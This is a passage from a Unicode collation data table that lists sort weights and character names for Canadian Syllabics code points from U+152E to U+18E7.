[.33B0.0020.0002] # CANADIAN SYLLABICS YA +152E ; [.33B1.0020.0002] # CANADIAN SYLLABICS YAA +152F ; [.33B2.0020.0002] # CANADIAN SYLLABICS YWE +1530 ; [.33B3.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWE +1531 ; [.33B4.0020.0002] # CANADIAN SYLLABICS YWI +1532 ; [.33B5.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWI +1533 ; [.33B6.0020.0002] # CANADIAN SYLLABICS YWII +1534 ; [.33B7.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWII +1535 ; [.33B8.0020.0002] # CANADIAN SYLLABICS YWO +1536 ; [.33B9.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWO +1537 ; [.33BA.0020.0002] # CANADIAN SYLLABICS YWOO +1538 ; [.33BB.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWOO +1539 ; [.33BC.0020.0002] # CANADIAN SYLLABICS YWA +153A ; [.33BD.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWA +153B ; [.33BE.0020.0002] # CANADIAN SYLLABICS YWAA +153C ; [.33BF.0020.0002] # CANADIAN SYLLABICS WEST-CREE YWAA +153D ; [.33C0.0020.0002] # CANADIAN SYLLABICS NASKAPI YWAA +153E ; [.33C1.0020.0002] # CANADIAN SYLLABICS Y +153F ; [.33C2.0020.0002] # CANADIAN SYLLABICS BIBLE-CREE Y +1540 ; [.33C3.0020.0002] # CANADIAN SYLLABICS WEST-CREE Y +1541 ; [.33C4.0020.0002] # CANADIAN SYLLABICS SAYISI YI +1542 ; [.33C5.0020.0002] # CANADIAN SYLLABICS RE +1543 ; [.33C6.0020.0002] # CANADIAN SYLLABICS R-CREE RE +1544 ; [.33C7.0020.0002] # CANADIAN SYLLABICS WEST-CREE LE +1545 ; [.33C8.0020.0002] # CANADIAN SYLLABICS RAAI +1546 ; [.33C9.0020.0002] # CANADIAN SYLLABICS RI +1547 ; [.33CA.0020.0002] # CANADIAN SYLLABICS RII +1548 ; [.33CB.0020.0002] # CANADIAN SYLLABICS RO +1549 ; [.33CC.0020.0002] # CANADIAN SYLLABICS ROO +154A ; [.33CD.0020.0002] # CANADIAN SYLLABICS WEST-CREE LO +154B ; [.33CE.0020.0002] # CANADIAN SYLLABICS RA +154C ; [.33CF.0020.0002] # CANADIAN SYLLABICS RAA +154D ; [.33D0.0020.0002] # CANADIAN SYLLABICS WEST-CREE LA +154E ; [.33D1.0020.0002] # CANADIAN SYLLABICS RWAA +154F ; [.33D2.0020.0002] # CANADIAN SYLLABICS WEST-CREE RWAA +1550 ; [.33D3.0020.0002] # CANADIAN SYLLABICS R +1551 ; [.33D4.0020.0002] # CANADIAN SYLLABICS WEST-CREE R +1552 ; [.33D5.0020.0002] # CANADIAN SYLLABICS MEDIAL R +1553 ; [.33D6.0020.0002] # CANADIAN SYLLABICS FE +1554 ; [.33D7.0020.0002] # CANADIAN SYLLABICS FAAI +1555 ; [.33D8.0020.0002] # CANADIAN SYLLABICS FI +1556 ; [.33D9.0020.0002] # CANADIAN SYLLABICS FII +1557 ; [.33DA.0020.0002] # CANADIAN SYLLABICS FO +1558 ; [.33DB.0020.0002] # CANADIAN SYLLABICS FOO +1559 ; [.33DC.0020.0002] # CANADIAN SYLLABICS FA +155A ; [.33DD.0020.0002] # CANADIAN SYLLABICS FAA +155B ; [.33DE.0020.0002] # CANADIAN SYLLABICS FWAA +155C ; [.33DF.0020.0002] # CANADIAN SYLLABICS WEST-CREE FWAA +155D ; [.33E0.0020.0002] # CANADIAN SYLLABICS F +155E ; [.33E1.0020.0002] # CANADIAN SYLLABICS THE +155F ; [.33E2.0020.0002] # CANADIAN SYLLABICS N-CREE THE +1560 ; [.33E3.0020.0002] # CANADIAN SYLLABICS THI +1561 ; [.33E4.0020.0002] # CANADIAN SYLLABICS N-CREE THI +1562 ; [.33E5.0020.0002] # CANADIAN SYLLABICS THII +1563 ; [.33E6.0020.0002] # CANADIAN SYLLABICS N-CREE THII +1564 ; [.33E7.0020.0002] # CANADIAN SYLLABICS THO +1565 ; [.33E8.0020.0002] # CANADIAN SYLLABICS THOO +1566 ; [.33E9.0020.0002] # CANADIAN SYLLABICS THA +1567 ; [.33EA.0020.0002] # CANADIAN SYLLABICS THAA +1568 ; [.33EB.0020.0002] # CANADIAN SYLLABICS THWAA +1569 ; [.33EC.0020.0002] # CANADIAN SYLLABICS WEST-CREE THWAA +156A ; [.33ED.0020.0002] # CANADIAN SYLLABICS TH +156B ; [.33EE.0020.0002] # CANADIAN SYLLABICS TTHE +156C ; [.33EF.0020.0002] # CANADIAN SYLLABICS TTHI +156D ; [.33F0.0020.0002] # CANADIAN SYLLABICS TTHO +156E ; [.33F1.0020.0002] # CANADIAN SYLLABICS TTHA +156F ; [.33F2.0020.0002] # CANADIAN SYLLABICS TTH +1570 ; [.33F3.0020.0002] # CANADIAN SYLLABICS TYE +1571 ; [.33F4.0020.0002] # CANADIAN SYLLABICS TYI +1572 ; [.33F5.0020.0002] # CANADIAN SYLLABICS TYO +1573 ; [.33F6.0020.0002] # CANADIAN SYLLABICS TYA +1574 ; [.33F7.0020.0002] # CANADIAN SYLLABICS NUNAVIK HE +1575 ; [.33F8.0020.0002] # CANADIAN SYLLABICS NUNAVIK HI +1576 ; [.33F9.0020.0002] # CANADIAN SYLLABICS NUNAVIK HII +1577 ; [.33FA.0020.0002] # CANADIAN SYLLABICS NUNAVIK HO +1578 ; [.33FB.0020.0002] # CANADIAN SYLLABICS NUNAVIK HOO +1579 ; [.33FC.0020.0002] # CANADIAN SYLLABICS NUNAVIK HA +157A ; [.33FD.0020.0002] # CANADIAN SYLLABICS NUNAVIK HAA +157B ; [.33FE.0020.0002] # CANADIAN SYLLABICS NUNAVIK H +157D ; [.33FF.0020.0002] # CANADIAN SYLLABICS HK +166F ; [.3400.0020.0002] # CANADIAN SYLLABICS QAI +157E ; [.3401.0020.0002] # CANADIAN SYLLABICS QAAI +157F ; [.3402.0020.0002] # CANADIAN SYLLABICS QI +1580 ; [.3403.0020.0002] # CANADIAN SYLLABICS QII +1581 ; [.3404.0020.0002] # CANADIAN SYLLABICS QO +1582 ; [.3405.0020.0002] # CANADIAN SYLLABICS QOO +1583 ; [.3406.0020.0002] # CANADIAN SYLLABICS QA +1584 ; [.3407.0020.0002] # CANADIAN SYLLABICS QAA +1585 ; [.3408.0020.0002] # CANADIAN SYLLABICS Q +1586 ; [.3409.0020.0002] # CANADIAN SYLLABICS TLHE +1587 ; [.340A.0020.0002] # CANADIAN SYLLABICS TLHI +1588 ; [.340B.0020.0002] # CANADIAN SYLLABICS TLHO +1589 ; [.340C.0020.0002] # CANADIAN SYLLABICS TLHA +158A ; [.340D.0020.0002] # CANADIAN SYLLABICS WEST-CREE RE +158B ; [.340E.0020.0002] # CANADIAN SYLLABICS WEST-CREE RI +158C ; [.340F.0020.0002] # CANADIAN SYLLABICS WEST-CREE RO +158D ; [.3410.0020.0002] # CANADIAN SYLLABICS WEST-CREE RA +1670 ; [.3411.0020.0002] # CANADIAN SYLLABICS NGAI +158E ; [.3412.0020.0002] # CANADIAN SYLLABICS NGAAI +158F ; [.3413.0020.0002] # CANADIAN SYLLABICS NGI +1590 ; [.3414.0020.0002] # CANADIAN SYLLABICS NGII +1591 ; [.3415.0020.0002] # CANADIAN SYLLABICS NGO +1592 ; [.3416.0020.0002] # CANADIAN SYLLABICS NGOO +1593 ; [.3417.0020.0002] # CANADIAN SYLLABICS NGA +1594 ; [.3418.0020.0002] # CANADIAN SYLLABICS NGAA +1595 ; [.3419.0020.0002] # CANADIAN SYLLABICS NG +1671 ; [.341A.0020.0002] # CANADIAN SYLLABICS NNGI +1672 ; [.341B.0020.0002] # CANADIAN SYLLABICS NNGII +1673 ; [.341C.0020.0002] # CANADIAN SYLLABICS NNGO +1674 ; [.341D.0020.0002] # CANADIAN SYLLABICS NNGOO +1675 ; [.341E.0020.0002] # CANADIAN SYLLABICS NNGA +1676 ; [.341F.0020.0002] # CANADIAN SYLLABICS NNGAA +1596 ; [.3420.0020.0002] # CANADIAN SYLLABICS NNG +1597 ; [.3421.0020.0002] # CANADIAN SYLLABICS SAYISI SHE +1598 ; [.3422.0020.0002] # CANADIAN SYLLABICS SAYISI SHI +1599 ; [.3423.0020.0002] # CANADIAN SYLLABICS SAYISI SHO +159A ; [.3424.0020.0002] # CANADIAN SYLLABICS SAYISI SHA +159B ; [.3425.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THE +159C ; [.3426.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THI +159D ; [.3427.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THO +159E ; [.3428.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THA +159F ; [.3429.0020.0002] # CANADIAN SYLLABICS WOODS-CREE TH +15A0 ; [.342A.0020.0002] # CANADIAN SYLLABICS LHI +15A1 ; [.342B.0020.0002] # CANADIAN SYLLABICS LHII +15A2 ; [.342C.0020.0002] # CANADIAN SYLLABICS LHO +15A3 ; [.342D.0020.0002] # CANADIAN SYLLABICS LHOO +15A4 ; [.342E.0020.0002] # CANADIAN SYLLABICS LHA +15A5 ; [.342F.0020.0002] # CANADIAN SYLLABICS LHAA +15A6 ; [.3430.0020.0002] # CANADIAN SYLLABICS LH +157C ; [.3431.0020.0002] # CANADIAN SYLLABICS NUNAVUT H +15A7 ; [.3432.0020.0002] # CANADIAN SYLLABICS TH-CREE THE +15A8 ; [.3433.0020.0002] # CANADIAN SYLLABICS TH-CREE THI +15A9 ; [.3434.0020.0002] # CANADIAN SYLLABICS TH-CREE THII +15AA ; [.3435.0020.0002] # CANADIAN SYLLABICS TH-CREE THO +15AB ; [.3436.0020.0002] # CANADIAN SYLLABICS TH-CREE THOO +15AC ; [.3437.0020.0002] # CANADIAN SYLLABICS TH-CREE THA +15AD ; [.3438.0020.0002] # CANADIAN SYLLABICS TH-CREE THAA +15AE ; [.3439.0020.0002] # CANADIAN SYLLABICS TH-CREE TH +15AF ; [.343A.0020.0002] # CANADIAN SYLLABICS AIVILIK B +15B0 ; [.343B.0020.0002] # CANADIAN SYLLABICS BLACKFOOT E +15B1 ; [.343C.0020.0002] # CANADIAN SYLLABICS BLACKFOOT I +15B2 ; [.343D.0020.0002] # CANADIAN SYLLABICS BLACKFOOT O +15B3 ; [.343E.0020.0002] # CANADIAN SYLLABICS BLACKFOOT A +15B4 ; [.343F.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WE +15B5 ; [.3440.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WI +15B6 ; [.3441.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WO +15B7 ; [.3442.0020.0002] # CANADIAN SYLLABICS BLACKFOOT WA +15B8 ; [.3443.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NE +15B9 ; [.3444.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NI +15BA ; [.3445.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NO +15BB ; [.3446.0020.0002] # CANADIAN SYLLABICS BLACKFOOT NA +15BC ; [.3447.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KE +15BD ; [.3448.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KI +15BE ; [.3449.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KO +15BF ; [.344A.0020.0002] # CANADIAN SYLLABICS BLACKFOOT KA +15C0 ; [.344B.0020.0002] # CANADIAN SYLLABICS SAYISI HE +15C1 ; [.344C.0020.0002] # CANADIAN SYLLABICS SAYISI HI +15C2 ; [.344D.0020.0002] # CANADIAN SYLLABICS SAYISI HO +15C3 ; [.344E.0020.0002] # CANADIAN SYLLABICS SAYISI HA +15C4 ; [.344F.0020.0002] # CANADIAN SYLLABICS CARRIER GHU +15C5 ; [.3450.0020.0002] # CANADIAN SYLLABICS CARRIER GHO +15C6 ; [.3451.0020.0002] # CANADIAN SYLLABICS CARRIER GHE +15C7 ; [.3452.0020.0002] # CANADIAN SYLLABICS CARRIER GHEE +15C8 ; [.3453.0020.0002] # CANADIAN SYLLABICS CARRIER GHI +15C9 ; [.3454.0020.0002] # CANADIAN SYLLABICS CARRIER GHA +15CA ; [.3455.0020.0002] # CANADIAN SYLLABICS CARRIER RU +15CB ; [.3456.0020.0002] # CANADIAN SYLLABICS CARRIER RO +15CC ; [.3457.0020.0002] # CANADIAN SYLLABICS CARRIER RE +15CD ; [.3458.0020.0002] # CANADIAN SYLLABICS CARRIER REE +15CE ; [.3459.0020.0002] # CANADIAN SYLLABICS CARRIER RI +15CF ; [.345A.0020.0002] # CANADIAN SYLLABICS CARRIER RA +15D0 ; [.345B.0020.0002] # CANADIAN SYLLABICS CARRIER WU +15D1 ; [.345C.0020.0002] # CANADIAN SYLLABICS CARRIER WO +15D2 ; [.345D.0020.0002] # CANADIAN SYLLABICS CARRIER WE +15D3 ; [.345E.0020.0002] # CANADIAN SYLLABICS CARRIER WEE +15D4 ; [.345F.0020.0002] # CANADIAN SYLLABICS CARRIER WI +15D5 ; [.3460.0020.0002] # CANADIAN SYLLABICS CARRIER WA +15D6 ; [.3461.0020.0002] # CANADIAN SYLLABICS CARRIER HWU +15D7 ; [.3462.0020.0002] # CANADIAN SYLLABICS CARRIER HWO +15D8 ; [.3463.0020.0002] # CANADIAN SYLLABICS CARRIER HWE +15D9 ; [.3464.0020.0002] # CANADIAN SYLLABICS CARRIER HWEE +15DA ; [.3465.0020.0002] # CANADIAN SYLLABICS CARRIER HWI +15DB ; [.3466.0020.0002] # CANADIAN SYLLABICS CARRIER HWA +15DC ; [.3467.0020.0002] # CANADIAN SYLLABICS CARRIER THU +15DD ; [.3468.0020.0002] # CANADIAN SYLLABICS CARRIER THO +15DE ; [.3469.0020.0002] # CANADIAN SYLLABICS CARRIER THE +15DF ; [.346A.0020.0002] # CANADIAN SYLLABICS CARRIER THEE +15E0 ; [.346B.0020.0002] # CANADIAN SYLLABICS CARRIER THI +15E1 ; [.346C.0020.0002] # CANADIAN SYLLABICS CARRIER THA +15E2 ; [.346D.0020.0002] # CANADIAN SYLLABICS CARRIER TTU +15E3 ; [.346E.0020.0002] # CANADIAN SYLLABICS CARRIER TTO +15E4 ; [.346F.0020.0002] # CANADIAN SYLLABICS CARRIER TTE +15E5 ; [.3470.0020.0002] # CANADIAN SYLLABICS CARRIER TTEE +15E6 ; [.3471.0020.0002] # CANADIAN SYLLABICS CARRIER TTI +15E7 ; [.3472.0020.0002] # CANADIAN SYLLABICS CARRIER TTA +15E8 ; [.3473.0020.0002] # CANADIAN SYLLABICS CARRIER PU +15E9 ; [.3474.0020.0002] # CANADIAN SYLLABICS CARRIER PO +15EA ; [.3475.0020.0002] # CANADIAN SYLLABICS CARRIER PE +15EB ; [.3476.0020.0002] # CANADIAN SYLLABICS CARRIER PEE +15EC ; [.3477.0020.0002] # CANADIAN SYLLABICS CARRIER PI +15ED ; [.3478.0020.0002] # CANADIAN SYLLABICS CARRIER PA +15EE ; [.3479.0020.0002] # CANADIAN SYLLABICS CARRIER P +15EF ; [.347A.0020.0002] # CANADIAN SYLLABICS CARRIER GU +15F0 ; [.347B.0020.0002] # CANADIAN SYLLABICS CARRIER GO +15F1 ; [.347C.0020.0002] # CANADIAN SYLLABICS CARRIER GE +15F2 ; [.347D.0020.0002] # CANADIAN SYLLABICS CARRIER GEE +15F3 ; [.347E.0020.0002] # CANADIAN SYLLABICS CARRIER GI +15F4 ; [.347F.0020.0002] # CANADIAN SYLLABICS CARRIER GA +15F5 ; [.3480.0020.0002] # CANADIAN SYLLABICS CARRIER KHU +15F6 ; [.3481.0020.0002] # CANADIAN SYLLABICS CARRIER KHO +15F7 ; [.3482.0020.0002] # CANADIAN SYLLABICS CARRIER KHE +15F8 ; [.3483.0020.0002] # CANADIAN SYLLABICS CARRIER KHEE +15F9 ; [.3484.0020.0002] # CANADIAN SYLLABICS CARRIER KHI +15FA ; [.3485.0020.0002] # CANADIAN SYLLABICS CARRIER KHA +15FB ; [.3486.0020.0002] # CANADIAN SYLLABICS CARRIER KKU +15FC ; [.3487.0020.0002] # CANADIAN SYLLABICS CARRIER KKO +15FD ; [.3488.0020.0002] # CANADIAN SYLLABICS CARRIER KKE +15FE ; [.3489.0020.0002] # CANADIAN SYLLABICS CARRIER KKEE +15FF ; [.348A.0020.0002] # CANADIAN SYLLABICS CARRIER KKI +1600 ; [.348B.0020.0002] # CANADIAN SYLLABICS CARRIER KKA +1601 ; [.348C.0020.0002] # CANADIAN SYLLABICS CARRIER KK +1602 ; [.348D.0020.0002] # CANADIAN SYLLABICS CARRIER NU +1603 ; [.348E.0020.0002] # CANADIAN SYLLABICS CARRIER NO +1604 ; [.348F.0020.0002] # CANADIAN SYLLABICS CARRIER NE +1605 ; [.3490.0020.0002] # CANADIAN SYLLABICS CARRIER NEE +1606 ; [.3491.0020.0002] # CANADIAN SYLLABICS CARRIER NI +1607 ; [.3492.0020.0002] # CANADIAN SYLLABICS CARRIER NA +1608 ; [.3493.0020.0002] # CANADIAN SYLLABICS CARRIER MU +1609 ; [.3494.0020.0002] # CANADIAN SYLLABICS CARRIER MO +160A ; [.3495.0020.0002] # CANADIAN SYLLABICS CARRIER ME +160B ; [.3496.0020.0002] # CANADIAN SYLLABICS CARRIER MEE +160C ; [.3497.0020.0002] # CANADIAN SYLLABICS CARRIER MI +160D ; [.3498.0020.0002] # CANADIAN SYLLABICS CARRIER MA +160E ; [.3499.0020.0002] # CANADIAN SYLLABICS CARRIER YU +160F ; [.349A.0020.0002] # CANADIAN SYLLABICS CARRIER YO +1610 ; [.349B.0020.0002] # CANADIAN SYLLABICS CARRIER YE +1611 ; [.349C.0020.0002] # CANADIAN SYLLABICS CARRIER YEE +1612 ; [.349D.0020.0002] # CANADIAN SYLLABICS CARRIER YI +1613 ; [.349E.0020.0002] # CANADIAN SYLLABICS CARRIER YA +1614 ; [.349F.0020.0002] # CANADIAN SYLLABICS CARRIER JU +1615 ; [.34A0.0020.0002] # CANADIAN SYLLABICS SAYISI JU +1616 ; [.34A1.0020.0002] # CANADIAN SYLLABICS CARRIER JO +1617 ; [.34A2.0020.0002] # CANADIAN SYLLABICS CARRIER JE +1618 ; [.34A3.0020.0002] # CANADIAN SYLLABICS CARRIER JEE +1619 ; [.34A4.0020.0002] # CANADIAN SYLLABICS CARRIER JI +161A ; [.34A5.0020.0002] # CANADIAN SYLLABICS SAYISI JI +161B ; [.34A6.0020.0002] # CANADIAN SYLLABICS CARRIER JA +161C ; [.34A7.0020.0002] # CANADIAN SYLLABICS CARRIER JJU +161D ; [.34A8.0020.0002] # CANADIAN SYLLABICS CARRIER JJO +161E ; [.34A9.0020.0002] # CANADIAN SYLLABICS CARRIER JJE +161F ; [.34AA.0020.0002] # CANADIAN SYLLABICS CARRIER JJEE +1620 ; [.34AB.0020.0002] # CANADIAN SYLLABICS CARRIER JJI +1621 ; [.34AC.0020.0002] # CANADIAN SYLLABICS CARRIER JJA +1622 ; [.34AD.0020.0002] # CANADIAN SYLLABICS CARRIER LU +1623 ; [.34AE.0020.0002] # CANADIAN SYLLABICS CARRIER LO +1624 ; [.34AF.0020.0002] # CANADIAN SYLLABICS CARRIER LE +1625 ; [.34B0.0020.0002] # CANADIAN SYLLABICS CARRIER LEE +1626 ; [.34B1.0020.0002] # CANADIAN SYLLABICS CARRIER LI +1627 ; [.34B2.0020.0002] # CANADIAN SYLLABICS CARRIER LA +1628 ; [.34B3.0020.0002] # CANADIAN SYLLABICS CARRIER DLU +1629 ; [.34B4.0020.0002] # CANADIAN SYLLABICS CARRIER DLO +162A ; [.34B5.0020.0002] # CANADIAN SYLLABICS CARRIER DLE +162B ; [.34B6.0020.0002] # CANADIAN SYLLABICS CARRIER DLEE +162C ; [.34B7.0020.0002] # CANADIAN SYLLABICS CARRIER DLI +162D ; [.34B8.0020.0002] # CANADIAN SYLLABICS CARRIER DLA +162E ; [.34B9.0020.0002] # CANADIAN SYLLABICS CARRIER LHU +162F ; [.34BA.0020.0002] # CANADIAN SYLLABICS CARRIER LHO +1630 ; [.34BB.0020.0002] # CANADIAN SYLLABICS CARRIER LHE +1631 ; [.34BC.0020.0002] # CANADIAN SYLLABICS CARRIER LHEE +1632 ; [.34BD.0020.0002] # CANADIAN SYLLABICS CARRIER LHI +1633 ; [.34BE.0020.0002] # CANADIAN SYLLABICS CARRIER LHA +1634 ; [.34BF.0020.0002] # CANADIAN SYLLABICS CARRIER TLHU +1635 ; [.34C0.0020.0002] # CANADIAN SYLLABICS CARRIER TLHO +1636 ; [.34C1.0020.0002] # CANADIAN SYLLABICS CARRIER TLHE +1637 ; [.34C2.0020.0002] # CANADIAN SYLLABICS CARRIER TLHEE +1638 ; [.34C3.0020.0002] # CANADIAN SYLLABICS CARRIER TLHI +1639 ; [.34C4.0020.0002] # CANADIAN SYLLABICS CARRIER TLHA +163A ; [.34C5.0020.0002] # CANADIAN SYLLABICS CARRIER TLU +163B ; [.34C6.0020.0002] # CANADIAN SYLLABICS CARRIER TLO +163C ; [.34C7.0020.0002] # CANADIAN SYLLABICS CARRIER TLE +163D ; [.34C8.0020.0002] # CANADIAN SYLLABICS CARRIER TLEE +163E ; [.34C9.0020.0002] # CANADIAN SYLLABICS CARRIER TLI +163F ; [.34CA.0020.0002] # CANADIAN SYLLABICS CARRIER TLA +1640 ; [.34CB.0020.0002] # CANADIAN SYLLABICS CARRIER ZU +1641 ; [.34CC.0020.0002] # CANADIAN SYLLABICS CARRIER ZO +1642 ; [.34CD.0020.0002] # CANADIAN SYLLABICS CARRIER ZE +1643 ; [.34CE.0020.0002] # CANADIAN SYLLABICS CARRIER ZEE +1644 ; [.34CF.0020.0002] # CANADIAN SYLLABICS CARRIER ZI +1645 ; [.34D0.0020.0002] # CANADIAN SYLLABICS CARRIER ZA +1646 ; [.34D1.0020.0002] # CANADIAN SYLLABICS CARRIER Z +1647 ; [.34D2.0020.0002] # CANADIAN SYLLABICS CARRIER INITIAL Z +1648 ; [.34D3.0020.0002] # CANADIAN SYLLABICS CARRIER DZU +1649 ; [.34D4.0020.0002] # CANADIAN SYLLABICS CARRIER DZO +164A ; [.34D5.0020.0002] # CANADIAN SYLLABICS CARRIER DZE +164B ; [.34D6.0020.0002] # CANADIAN SYLLABICS CARRIER DZEE +164C ; [.34D7.0020.0002] # CANADIAN SYLLABICS CARRIER DZI +164D ; [.34D8.0020.0002] # CANADIAN SYLLABICS CARRIER DZA +164E ; [.34D9.0020.0002] # CANADIAN SYLLABICS CARRIER SU +164F ; [.34DA.0020.0002] # CANADIAN SYLLABICS CARRIER SO +1650 ; [.34DB.0020.0002] # CANADIAN SYLLABICS CARRIER SE +1651 ; [.34DC.0020.0002] # CANADIAN SYLLABICS CARRIER SEE +1652 ; [.34DD.0020.0002] # CANADIAN SYLLABICS CARRIER SI +1653 ; [.34DE.0020.0002] # CANADIAN SYLLABICS CARRIER SA +1654 ; [.34DF.0020.0002] # CANADIAN SYLLABICS CARRIER SHU +1655 ; [.34E0.0020.0002] # CANADIAN SYLLABICS CARRIER SHO +1656 ; [.34E1.0020.0002] # CANADIAN SYLLABICS CARRIER SHE +1657 ; [.34E2.0020.0002] # CANADIAN SYLLABICS CARRIER SHEE +1658 ; [.34E3.0020.0002] # CANADIAN SYLLABICS CARRIER SHI +1659 ; [.34E4.0020.0002] # CANADIAN SYLLABICS CARRIER SHA +165A ; [.34E5.0020.0002] # CANADIAN SYLLABICS CARRIER SH +165B ; [.34E6.0020.0002] # CANADIAN SYLLABICS CARRIER TSU +165C ; [.34E7.0020.0002] # CANADIAN SYLLABICS CARRIER TSO +165D ; [.34E8.0020.0002] # CANADIAN SYLLABICS CARRIER TSE +165E ; [.34E9.0020.0002] # CANADIAN SYLLABICS CARRIER TSEE +165F ; [.34EA.0020.0002] # CANADIAN SYLLABICS CARRIER TSI +1660 ; [.34EB.0020.0002] # CANADIAN SYLLABICS CARRIER TSA +1661 ; [.34EC.0020.0002] # CANADIAN SYLLABICS CARRIER CHU +1662 ; [.34ED.0020.0002] # CANADIAN SYLLABICS CARRIER CHO +1663 ; [.34EE.0020.0002] # CANADIAN SYLLABICS CARRIER CHE +1664 ; [.34EF.0020.0002] # CANADIAN SYLLABICS CARRIER CHEE +1665 ; [.34F0.0020.0002] # CANADIAN SYLLABICS CARRIER CHI +1666 ; [.34F1.0020.0002] # CANADIAN SYLLABICS CARRIER CHA +1667 ; [.34F2.0020.0002] # CANADIAN SYLLABICS CARRIER TTSU +1668 ; [.34F3.0020.0002] # CANADIAN SYLLABICS CARRIER TTSO +1669 ; [.34F4.0020.0002] # CANADIAN SYLLABICS CARRIER TTSE +166A ; [.34F5.0020.0002] # CANADIAN SYLLABICS CARRIER TTSEE +166B ; [.34F6.0020.0002] # CANADIAN SYLLABICS CARRIER TTSI +166C ; [.34F7.0020.0002] # CANADIAN SYLLABICS CARRIER TTSA +1677 ; [.34F8.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWEE +1678 ; [.34F9.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWI +1679 ; [.34FA.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWII +167A ; [.34FB.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWO +167B ; [.34FC.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWOO +167C ; [.34FD.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWA +167D ; [.34FE.0020.0002] # CANADIAN SYLLABICS WOODS-CREE THWAA +167E ; [.34FF.0020.0002] # CANADIAN SYLLABICS WOODS-CREE FINAL TH +167F ; [.3500.0020.0002] # CANADIAN SYLLABICS BLACKFOOT W +18B0 ; [.3501.0020.0002] # CANADIAN SYLLABICS OY +18B1 ; [.3502.0020.0002] # CANADIAN SYLLABICS AY +18B2 ; [.3503.0020.0002] # CANADIAN SYLLABICS AAY +18B3 ; [.3504.0020.0002] # CANADIAN SYLLABICS WAY +18B4 ; [.3505.0020.0002] # CANADIAN SYLLABICS POY +18B5 ; [.3506.0020.0002] # CANADIAN SYLLABICS PAY +18B6 ; [.3507.0020.0002] # CANADIAN SYLLABICS PWOY +18B7 ; [.3508.0020.0002] # CANADIAN SYLLABICS TAY +18B8 ; [.3509.0020.0002] # CANADIAN SYLLABICS KAY +18B9 ; [.350A.0020.0002] # CANADIAN SYLLABICS KWAY +18BA ; [.350B.0020.0002] # CANADIAN SYLLABICS MAY +18BB ; [.350C.0020.0002] # CANADIAN SYLLABICS NOY +18BC ; [.350D.0020.0002] # CANADIAN SYLLABICS NAY +18BD ; [.350E.0020.0002] # CANADIAN SYLLABICS LAY +18BE ; [.350F.0020.0002] # CANADIAN SYLLABICS SOY +18BF ; [.3510.0020.0002] # CANADIAN SYLLABICS SAY +18C0 ; [.3511.0020.0002] # CANADIAN SYLLABICS SHOY +18C1 ; [.3512.0020.0002] # CANADIAN SYLLABICS SHAY +18C2 ; [.3513.0020.0002] # CANADIAN SYLLABICS SHWOY +18C3 ; [.3514.0020.0002] # CANADIAN SYLLABICS YOY +18C4 ; [.3515.0020.0002] # CANADIAN SYLLABICS YAY +18C5 ; [.3516.0020.0002] # CANADIAN SYLLABICS RAY +18C6 ; [.3517.0020.0002] # CANADIAN SYLLABICS NWI +18C7 ; [.3518.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWI +18C8 ; [.3519.0020.0002] # CANADIAN SYLLABICS NWII +18C9 ; [.351A.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWII +18CA ; [.351B.0020.0002] # CANADIAN SYLLABICS NWO +18CB ; [.351C.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWO +18CC ; [.351D.0020.0002] # CANADIAN SYLLABICS NWOO +18CD ; [.351E.0020.0002] # CANADIAN SYLLABICS OJIBWAY NWOO +18CE ; [.351F.0020.0002] # CANADIAN SYLLABICS RWEE +18CF ; [.3520.0020.0002] # CANADIAN SYLLABICS RWI +18D0 ; [.3521.0020.0002] # CANADIAN SYLLABICS RWII +18D1 ; [.3522.0020.0002] # CANADIAN SYLLABICS RWO +18D2 ; [.3523.0020.0002] # CANADIAN SYLLABICS RWOO +18D3 ; [.3524.0020.0002] # CANADIAN SYLLABICS RWA +18D4 ; [.3525.0020.0002] # CANADIAN SYLLABICS OJIBWAY P +18D5 ; [.3526.0020.0002] # CANADIAN SYLLABICS OJIBWAY T +18D6 ; [.3527.0020.0002] # CANADIAN SYLLABICS OJIBWAY K +18D7 ; [.3528.0020.0002] # CANADIAN SYLLABICS OJIBWAY C +18D8 ; [.3529.0020.0002] # CANADIAN SYLLABICS OJIBWAY M +18D9 ; [.352A.0020.0002] # CANADIAN SYLLABICS OJIBWAY N +18DA ; [.352B.0020.0002] # CANADIAN SYLLABICS OJIBWAY S +18DB ; [.352C.0020.0002] # CANADIAN SYLLABICS OJIBWAY SH +18DC ; [.352D.0020.0002] # CANADIAN SYLLABICS EASTERN W +18DD ; [.352E.0020.0002] # CANADIAN SYLLABICS WESTERN W +18DE ; [.352F.0020.0002] # CANADIAN SYLLABICS FINAL SMALL RING +18DF ; [.3530.0020.0002] # CANADIAN SYLLABICS FINAL RAISED DOT +18E0 ; [.3531.0020.0002] # CANADIAN SYLLABICS R-CREE RWE +18E1 ; [.3532.0020.0002] # CANADIAN SYLLABICS WEST-CREE LOO +18E2 ; [.3533.0020.0002] # CANADIAN SYLLABICS WEST-CREE LAA +18E3 ; [.3534.0020.0002] # CANADIAN SYLLABICS THWE +18E4 ; [.3535.0020.0002] # CANADIAN SYLLABICS THWA +18E5 ; [.3536.0020.0002] # CANADIAN SYLLABICS TTHWE +18E6 ; [.3537.0020.0002] # CANADIAN SYLLABICS TTHOO +18E7 ; [.3538.0020.0002] # CANADIAN SYLLABICS TTHAA 